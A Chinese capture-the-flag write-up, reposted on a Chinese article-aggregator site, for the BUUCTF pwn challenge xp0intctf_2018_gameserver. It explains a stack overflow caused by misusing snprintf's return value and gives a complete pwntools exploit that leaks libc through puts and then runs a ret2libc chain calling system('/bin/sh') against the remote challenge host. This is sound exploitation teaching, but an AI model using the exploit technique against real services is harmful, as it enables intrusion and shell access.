ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[BUUCTF-pwn] xp0intctf_2018_gameserver

2021-11-17 19:58:59  阅读:193  来源: 互联网

标签:xp0intctf BUUCTF puts libc elf v4 pwn 0x100 byte


snprintf 函数错用造成栈溢出漏洞

32位程序,没有canary ,又是一个rop的题

先看程序:

puts("First, you need to tell me you name?");
  fgets(byte_804A180, 256, stdin);
  v4 = strrchr(byte_804A180, 10);
  if ( v4 )
    *v4 = 0;
  printf("Hello %s\n", byte_804A180);
  puts("What's you occupation?");
  fgets(byte_804A080, 256, stdin);
  v4 = strrchr(byte_804A080, 10);
  if ( v4 )
    *v4 = 0;
  printf("Well, my noble %s\n", byte_804A080);
  nbytes = snprintf(                            // 返回值为322 溢出
             s,
             0x100u,
             "Our %s is a noble %s. He is come from north and well change out would.",
             byte_804A180,
             byte_804A080);
  puts("Here is you introduce");
  puts(s);
  puts("Do you want to edit you introduce by yourself?[Y/N]");
  v2 = getchar();
  getchar();
  if ( v2 == 89 )
    read(0, s, nbytes);

先读入两个0x100长的串,放到0x804A180和0x804A080然后snprintf到栈中的s串,然后可以修改s 。貌似都没有溢出,但snprintf的用法不大对:

 返回值为预写入字符串的长度。也就是说n截断并不影响返回整个字符串的长度。

这里如果前两个串比较大就会造成nbytes比0x100大形成溢出。

试的时候有个问题,如果两个都输满0x100会造成写不进去,没搞明白。不过其实1个溢出就足够,32位只要溢出ebp再加16字节就够了 ebp:4+plt.puts:4+main:4+pot.puts 

然后就比较简单了:

from pwn import *

local = 0
if local == 1:  #local
    p = process('./pwn')
elif local == 0:           #remote
    p = remote('node4.buuoj.cn', 29416) 

libc_elf = ELF('/home/shi/pwn/libc6-i386_2.27-3u1/libc-2.27.so')
one = [0x3cbea,0x3cbec,0x3cbf0,0x3cbf7,0x6729f,0x672a0,0x13573e,0x13573f]
libc_start_main_ret = 0x1eee5    

elf = ELF('./pwn')
context(arch = 'i386', log_level='debug')

#gdb.attach(p, 'b*0x80487b5')

p.sendafter(b'name?\n', b'A'*0x100)
p.sendafter(b'occupation?\n', b'\n')
p.sendlineafter(b'Do you want to edit you introduce by yourself?[Y/N]\n', b'Y')
p.sendline(b'A'*(0x111+4) + flat(elf.plt['puts'], 0x8048637, elf.got['puts']))
libc_base = u32(p.recvuntil(b'\xf7')[-4:]) - libc_elf.sym['puts']
system    = libc_base + libc_elf.sym['system']
bin_sh    = libc_base + next(libc_elf.search(b'/bin/sh'))
print('libc:', hex(libc_base))

p.sendafter(b'name?\n', b'A'*0x100)
p.sendafter(b'occupation?\n', b'\n')
p.sendlineafter(b'Do you want to edit you introduce by yourself?[Y/N]\n', b'Y')
p.sendline(b'A'*(0x111+4) + flat(system, 0x8048637, bin_sh))

p.interactive()

标签:xp0intctf,BUUCTF,puts,libc,elf,v4,pwn,0x100,byte
来源: https://blog.csdn.net/weixin_52640415/article/details/121383595

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有